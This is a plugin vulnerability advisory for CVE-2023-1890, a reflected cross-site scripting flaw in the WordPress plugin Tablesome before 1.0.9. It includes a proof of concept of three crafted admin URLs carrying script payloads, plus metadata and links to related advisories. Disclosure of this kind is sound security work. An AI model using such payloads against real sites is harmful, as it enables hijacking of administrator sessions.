Tablesome < 1.0.9 – Reflected XSS | CVE 2023-1890 | Plugin Vulnerabilities

Description

The plugin does not escape various generated URLs, before outputting them in attributes when some notices are displayed, leading to Reflected Cross-Site Scripting

Proof of Concept

Make a logged in admin open one of the URL below when the feature/tracking notice has not been dismissed yet

https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&a%22%3E%27%3E%3Cdetails%2Fopen%2Fontoggle%3Dconfirm%28%27XSS%27%29%3E
https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&tablesome_feature_notice_dismissed=1&</script><script>alert(/XSS/)</script>
https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&can_track_tablesome_events=1&</script><script>alert(/XSS/)</script>

Affects Plugins

Fixed in 1.0.9

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Taurus Omar

Submitter

Taurus Omar

Submitter website

https://taurusomar.com

Submitter twitter

Verified

Yes

WPVDB ID

8ef64490-30cd-4e07-9b7c-64f551944f3d

Timeline

Publicly Published

2023-04-24 (about 2 years ago)

Added

2023-04-24 (about 2 years ago)

Last Updated

2023-04-24 (about 2 years ago)

Other

Published

Title

Published

2014-08-01

Title

Basic Google Maps Placemarks 1.10.2 - settings.php Multiple Fields Stored XSS Weakness

Published

2023-07-05

Title

WP Mail Log < 1.1.2 - Unauthenticated Stored Cross-Site Scripting

Published

2025-07-23

Title

Support Board < 3.8.1 - Reflected Cross-Site Scripting

Published

2025-04-10

Title

Everest Forms < 3.1.2 - Reflected Cross-Site Scripting

Published

2014-08-01

Title

Imediapixel - Cross-Site Scripting (XSS)